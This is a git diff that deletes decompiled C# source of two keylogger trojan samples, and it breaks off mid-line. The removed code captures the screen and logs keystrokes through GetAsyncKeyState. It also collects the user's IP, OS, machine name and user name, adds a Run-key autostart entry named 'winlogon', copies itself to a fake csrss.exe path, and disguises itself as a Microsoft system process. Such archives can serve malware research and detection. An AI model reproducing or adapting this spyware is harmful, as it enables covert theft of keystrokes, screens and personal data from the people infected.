C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/My/MyProject.cs deleted file mode 100644 index b542f5bd..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: java, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4F52145B-C1A7-459C-A2DE-CBB30B6015C6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/Trojan-Spy.MSIL.KeyLogger.cve.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/Trojan-Spy.MSIL.KeyLogger.cve.csproj deleted file mode 100644 index cdee8cc7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/Trojan-Spy.MSIL.KeyLogger.cve.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {137F6A9C-6293-4990-93A9-4218F594AE65} - WinExe - java - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/Trojan-Spy.MSIL.KeyLogger.cve.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/Trojan-Spy.MSIL.KeyLogger.cve.sln deleted file mode 100644 index e7ba2b01..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/Trojan-Spy.MSIL.KeyLogger.cve.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "java", "Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723.csproj", "{137F6A9C-6293-4990-93A9-4218F594AE65}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {137F6A9C-6293-4990-93A9-4218F594AE65}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {137F6A9C-6293-4990-93A9-4218F594AE65}.Debug|Any CPU.Build.0 = Debug|Any CPU - {137F6A9C-6293-4990-93A9-4218F594AE65}.Release|Any CPU.ActiveCfg = Release|Any CPU - {137F6A9C-6293-4990-93A9-4218F594AE65}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/eGKfVnKcdYRn.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/eGKfVnKcdYRn.cs deleted file mode 100644 index aa6ed274..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/eGKfVnKcdYRn.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: eGKfVnKcdYRn -// Assembly: java, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4F52145B-C1A7-459C-A2DE-CBB30B6015C6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -[StandardModule] -internal sealed class eGKfVnKcdYRn -{ - public static Bitmap drXQPtwVsZb = (Bitmap) null; - public static byte[] phJSglASvYa; - private const int VgwkYxIHKar = 13369376; - private static int fsBaOXggJJx; - private static int oTigSPnRdwg; - - [DllImport("gdi32", EntryPoint = "CreateDCA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int OJtpurEVdlZm( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dStiBDFNfOUB, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vrApfUzWXEVJ, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string cJTbrezvzIab, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string oBhrFKfGANg); - - [DllImport("GDI32", EntryPoint = "CreateCompatibleDC", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int nXCQZTvFHZo(int JOXDJJmHRpj); - - [DllImport("GDI32", EntryPoint = "CreateCompatibleBitmap", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int nZAxBQNbJjy(int JOXDJJmHRpj, int ATSFJCrDdhr, int XNgElssiYTS); - - [DllImport("gdi32", EntryPoint = "GetDeviceCaps", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int ysInhDjBcGF(int JOXDJJmHRpj, int YzTOTtDtokb); - - [DllImport("GDI32", EntryPoint = "SelectObject", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int vSrZfrJeiPg(int JOXDJJmHRpj, int DsdQUYuVxlr); - - [DllImport("GDI32", EntryPoint = "BitBlt", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int ZQcCfRrFnEx( - int oHdskvHibDT, - int JhtUQLlIpXz, - int FpQeJDjvWwO, - int ByJrBNLLapB, - int LZiogekZfLD, - int yFFsuUtUnVa, - int jYfjywVHvnn, - int ScKxxfdtGFk, - int vNLQDloXWGU); - - [DllImport("GDI32", EntryPoint = "DeleteDC", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int lBzjdJZuXUZ(int JOXDJJmHRpj); - - [DllImport("GDI32", EntryPoint = "DeleteObject", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int JkEDoGvEtrD(int NwOVixQZpDO); - - public static void VrSyKgXrYQA() - { - string str1 = "DISPLAY"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - string str3 = ""; - ref string local3 = ref str3; - string str4 = ""; - ref string local4 = ref str4; - int num1 = eGKfVnKcdYRn.OJtpurEVdlZm(ref local1, ref local2, ref local3, ref local4); - int num2 = eGKfVnKcdYRn.nXCQZTvFHZo(num1); - eGKfVnKcdYRn.fsBaOXggJJx = eGKfVnKcdYRn.ysInhDjBcGF(num1, 8); - eGKfVnKcdYRn.oTigSPnRdwg = eGKfVnKcdYRn.ysInhDjBcGF(num1, 10); - int DsdQUYuVxlr1 = eGKfVnKcdYRn.nZAxBQNbJjy(num1, eGKfVnKcdYRn.fsBaOXggJJx, eGKfVnKcdYRn.oTigSPnRdwg); - int DsdQUYuVxlr2 = eGKfVnKcdYRn.vSrZfrJeiPg(num2, DsdQUYuVxlr1); - int num3 = eGKfVnKcdYRn.ZQcCfRrFnEx(num2, 0, 0, eGKfVnKcdYRn.fsBaOXggJJx, eGKfVnKcdYRn.oTigSPnRdwg, num1, 0, 0, 13369376); - int NwOVixQZpDO = eGKfVnKcdYRn.vSrZfrJeiPg(num2, DsdQUYuVxlr2); - num3 = eGKfVnKcdYRn.lBzjdJZuXUZ(num1); - num3 = eGKfVnKcdYRn.lBzjdJZuXUZ(num2); - eGKfVnKcdYRn.drXQPtwVsZb = Image.FromHbitmap(new IntPtr(NwOVixQZpDO)); - eGKfVnKcdYRn.JkEDoGvEtrD(NwOVixQZpDO); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/AssemblyInfo.cs deleted file mode 100644 index ee0cbf4b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCopyright("Microsoft Corporation")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("Client Server Runtime Process")] -[assembly: Guid("4187642e-2318-417d-a8d9-0ff998422956")] -[assembly: AssemblyFileVersion("5.1.2600.5512")] -[assembly: AssemblyProduct("Microsoft® Windows® Operating System")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyDescription("Client Server Runtime Process")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyVersion("5.1.2600.5512")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Form1.cs deleted file mode 100644 index ea22e43f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Form1.cs +++ /dev/null @@ -1,822 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Stub.Form1 -// Assembly: Stub, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: 70DF123C-965E-4C93-87DF-CF54B583BA08 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Stub.My; -using System; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Stub -{ - [DesignerGenerated] - public class Form1 : Form - { - private static ArrayList __ENCList = new ArrayList(); - private IContainer components; - [AccessedThroughProperty("TextBox1")] - private TextBox _TextBox1; - [AccessedThroughProperty("TextBox2")] - private TextBox _TextBox2; - [AccessedThroughProperty("TextBox3")] - private TextBox _TextBox3; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - [AccessedThroughProperty("TextBox4")] - private TextBox _TextBox4; - [AccessedThroughProperty("Timer4")] - private System.Windows.Forms.Timer _Timer4; - private const string FileSplit = "@DILSON@"; - private string[] options; - private string text1; - private string text2; - private string text3; - private const short VK_CAPITAL = 20; - [SpecialName] - private bool \u0024STATIC\u0024CAPSLOCKON\u00242002\u0024bOn; - [SpecialName] - private bool \u0024STATIC\u0024CAPSLOCKON\u00242002\u0024bInit; - - [DebuggerNonUserCode] - static Form1() - { - } - - [DebuggerNonUserCode] - public Form1() - { - this.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing); - this.Load += new EventHandler(this.Form1_Load); - Form1.__ENCList.Add((object) new WeakReference((object) this)); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.TextBox1 = new TextBox(); - this.TextBox2 = new TextBox(); - this.TextBox3 = new TextBox(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.TextBox4 = new TextBox(); - this.Timer4 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - TextBox textBox1_1 = this.TextBox1; - Point point1 = new Point(12, 12); - Point point2 = point1; - textBox1_1.Location = point2; - this.TextBox1.Multiline = true; - this.TextBox1.Name = "TextBox1"; - this.TextBox1.ScrollBars = ScrollBars.Vertical; - TextBox textBox1_2 = this.TextBox1; - Size size1 = new Size(100, 20); - Size size2 = size1; - textBox1_2.Size = size2; - this.TextBox1.TabIndex = 0; - TextBox textBox2_1 = this.TextBox2; - point1 = new Point(12, 38); - Point point3 = point1; - textBox2_1.Location = point3; - this.TextBox2.Name = "TextBox2"; - TextBox textBox2_2 = this.TextBox2; - size1 = new Size(100, 20); - Size size3 = size1; - textBox2_2.Size = size3; - this.TextBox2.TabIndex = 1; - TextBox textBox3_1 = this.TextBox3; - point1 = new Point(12, 64); - Point point4 = point1; - textBox3_1.Location = point4; - this.TextBox3.Name = "TextBox3"; - TextBox textBox3_2 = this.TextBox3; - size1 = new Size(100, 20); - Size size4 = size1; - textBox3_2.Size = size4; - this.TextBox3.TabIndex = 2; - this.Timer1.Enabled = true; - this.Timer1.Interval = 1; - this.Timer2.Enabled = true; - this.Timer2.Interval = 350000; - this.Timer3.Enabled = true; - this.Timer3.Interval = 15000; - TextBox textBox4_1 = this.TextBox4; - point1 = new Point(39, 26); - Point point5 = point1; - textBox4_1.Location = point5; - this.TextBox4.Name = "TextBox4"; - TextBox textBox4_2 = this.TextBox4; - size1 = new Size(100, 20); - Size size5 = size1; - textBox4_2.Size = size5; - this.TextBox4.TabIndex = 3; - this.Timer4.Enabled = true; - this.Timer4.Interval = 1; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(144, 95); - this.ClientSize = size1; - this.ControlBox = false; - this.Controls.Add((Control) this.TextBox4); - this.Controls.Add((Control) this.TextBox3); - this.Controls.Add((Control) this.TextBox2); - this.Controls.Add((Control) this.TextBox1); - this.Name = nameof (Form1); - this.Text = "csrss"; - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual TextBox TextBox1 - { - [DebuggerNonUserCode] get => this._TextBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value; - } - - internal virtual TextBox TextBox2 - { - [DebuggerNonUserCode] get => this._TextBox2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value; - } - - internal virtual TextBox TextBox3 - { - [DebuggerNonUserCode] get => this._TextBox3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value; - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Timer1 != null) - this._Timer1.Tick -= new EventHandler(this.Timer1_Tick); - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += new EventHandler(this.Timer1_Tick); - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Timer2 != null) - this._Timer2.Tick -= new EventHandler(this.Timer2_Tick); - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += new EventHandler(this.Timer2_Tick); - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this._Timer3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Timer3 != null) - this._Timer3.Tick -= new EventHandler(this.Timer3_Tick); - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += new EventHandler(this.Timer3_Tick); - } - } - - internal virtual TextBox TextBox4 - { - [DebuggerNonUserCode] get => this._TextBox4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox4 = value; - } - - internal virtual System.Windows.Forms.Timer Timer4 - { - [DebuggerNonUserCode] get => this._Timer4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Timer4 != null) - this._Timer4.Tick -= new EventHandler(this.Timer4_Tick); - this._Timer4 = value; - if (this._Timer4 == null) - return; - this._Timer4.Tick += new EventHandler(this.Timer4_Tick); - } - } - - [DllImport("user32", EntryPoint = "GetAsyncKeyState", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern short Getasynckeystate(int VKEY); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern short GetKeyState(int nVirtKey); - - [DllImport("Kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RegisterServiceProcess(int dwProcessId, int dwType); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - public bool RegWrite(string Path, string Value, string Typ = "REG_SZ") - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell")); - object[] objArray = new object[3] - { - (object) Path, - (object) Value, - (object) Typ - }; - object[] Arguments = objArray; - bool[] flagArray = new bool[3]{ true, true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall(objectValue, (System.Type) null, nameof (RegWrite), Arguments, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - Path = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[0]), typeof (string)); - if (flagArray[1]) - Value = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string)); - if (flagArray[2]) - Typ = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[2]), typeof (string)); - flag = true; - goto label_14; -label_9: - num2 = -1; - switch (num1) - { - case 2: - flag = false; - goto label_14; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - public bool CAPSLOCKON() - { - if (!this.\u0024STATIC\u0024CAPSLOCKON\u00242002\u0024bInit) - { - do - ; - while (Form1.Getasynckeystate(20) != (short) 0); - this.\u0024STATIC\u0024CAPSLOCKON\u00242002\u0024bOn = Form1.GetKeyState(20) != (short) 0; - this.\u0024STATIC\u0024CAPSLOCKON\u00242002\u0024bInit = true; - } - else if (Form1.Getasynckeystate(20) != (short) 0) - { - while (Form1.Getasynckeystate(20) != (short) 0) - Application.DoEvents(); - this.\u0024STATIC\u0024CAPSLOCKON\u00242002\u0024bOn = !this.\u0024STATIC\u0024CAPSLOCKON\u00242002\u0024bOn; - } - return this.\u0024STATIC\u0024CAPSLOCKON\u00242002\u0024bOn; - } - - private void Form1_Load(object sender, EventArgs e) - { - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - this.text1 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.text2 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.text3 = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref this.text1); - FileSystem.FileGet(1, ref this.text2); - FileSystem.FileGet(1, ref this.text3); - FileSystem.FileClose(1); - this.options = Strings.Split(this.text1, "@DILSON@"); - this.TextBox2.Text = this.options[1]; - this.TextBox3.Text = this.options[2]; - this.Timer2.Interval = Conversions.ToInteger(this.options[3]); - this.TextBox4.Text = this.options[3]; - this.start(); - } - - private void Form1_FormClosing(object eventSender, FormClosingEventArgs eventArgs) - { - bool cancel = eventArgs.Cancel; - CloseReason closeReason = eventArgs.CloseReason; - bool flag = true; - eventArgs.Cancel = flag; - this.Hide(); - } - - public void start() - { -label_1: - int num1; - int num2; - try - { - int num3 = 1; - string str = ""; -label_2: - num3 = 2; - string hostName = Dns.GetHostName(); -label_3: - num3 = 3; - IPHostEntry hostEntry = Dns.GetHostEntry(hostName); -label_4: - num3 = 4; - IPAddress[] addressList = hostEntry.AddressList; -label_5: - num3 = 5; - str = addressList[0].ToString(); -label_6: - num3 = 6; - this.TextBox1.Text = str + "\r\nOperating System Name : \r\n" + MyProject.Computer.Info.OSFullName.ToString() + "\r\n ; Platform : " + MyProject.Computer.Info.OSPlatform + "\r\nOperating System : " + Environment.OSVersion.ToString() + " v." + Environment.OSVersion.Version.ToString() + "\r\nComputer Name : " + Environment.MachineName.ToString() + "\r\nUser Name : " + Environment.UserName.ToString() + "\r\nSystem Directory : " + Environment.SystemDirectory.ToString() + "\r\nRunning : " + Strings.Mid(Conversions.ToString((double) Environment.TickCount / 3600000.0), 1, 5) + " Hours\r\nPhisical Memory : " + ((double) MyProject.Computer.Info.TotalPhysicalMemory / 1048576.0).ToString() + " MB\r\nCulture : " + MyProject.Computer.Info.InstalledUICulture.ToString() + "\r\nLocal Time : " + MyProject.Computer.Clock.LocalTime.ToString(); -label_7: - ProjectData.ClearProjectError(); - num1 = -2; -label_8: - num3 = 8; - this.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\winlogon", "C:\\WINDOWS\\Config\\csrss.exe"); -label_9: - num3 = 9; - MyProject.Computer.FileSystem.MoveFile(Application.ExecutablePath, "C:\\WINDOWS\\Config\\csrss.exe"); - goto label_16; -label_11: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_1; - case 2: - goto label_2; - case 3: - goto label_3; - case 4: - goto label_4; - case 5: - goto label_5; - case 6: - goto label_6; - case 7: - goto label_7; - case 8: - goto label_8; - case 9: - goto label_9; - case 10: - goto label_16; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_11; - } - throw ProjectData.CreateProjectError(-2146828237); -label_16: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Timer1_Tick(object sender, EventArgs e) - { - int num1 = (int) Form1.Getasynckeystate(16); - int num2 = (int) Form1.Getasynckeystate(65); - if (this.CAPSLOCKON() & num1 == 0 & (num2 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num2 & 1) == 1) - this.TextBox1.Text += "A"; - if (!this.CAPSLOCKON() & num1 == 0 & (num2 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num2 & 1) == 1) - this.TextBox1.Text += "a"; - int num3 = (int) Form1.Getasynckeystate(66); - if (this.CAPSLOCKON() & num1 == 0 & (num3 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num3 & 1) == 1) - this.TextBox1.Text += "B"; - if (!this.CAPSLOCKON() & num1 == 0 & (num3 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num3 & 1) == 1) - this.TextBox1.Text += "b"; - int num4 = (int) Form1.Getasynckeystate(67); - if (this.CAPSLOCKON() & num1 == 0 & (num4 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num4 & 1) == 1) - this.TextBox1.Text += "C"; - if (!this.CAPSLOCKON() & num1 == 0 & (num4 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num4 & 1) == 1) - this.TextBox1.Text += "c"; - int num5 = (int) Form1.Getasynckeystate(68); - if (this.CAPSLOCKON() & num1 == 0 & (num5 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num5 & 1) == 1) - this.TextBox1.Text += "D"; - if (!this.CAPSLOCKON() & num1 == 0 & (num5 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num5 & 1) == 1) - this.TextBox1.Text += "d"; - int num6 = (int) Form1.Getasynckeystate(69); - if (this.CAPSLOCKON() & num1 == 0 & (num6 & 1) == 1 | !this.CAPSLOCKON() & num1 != 0 & (num6 & 1) == 1) - this.TextBox1.Text += "E"; - if (!this.CAPSLOCKON() & num1 == 0 & (num6 & 1) == 1 | this.CAPSLOCKON() & num1 != 0 & (num6 & 1) == 1) - this.TextBox1.Text += nameof (e); - int num7 = (int) Form1.Getasynckeystate(70); - if (this.CAPSLOCKON() & num1 == 0 & (num7 & 1) == 1 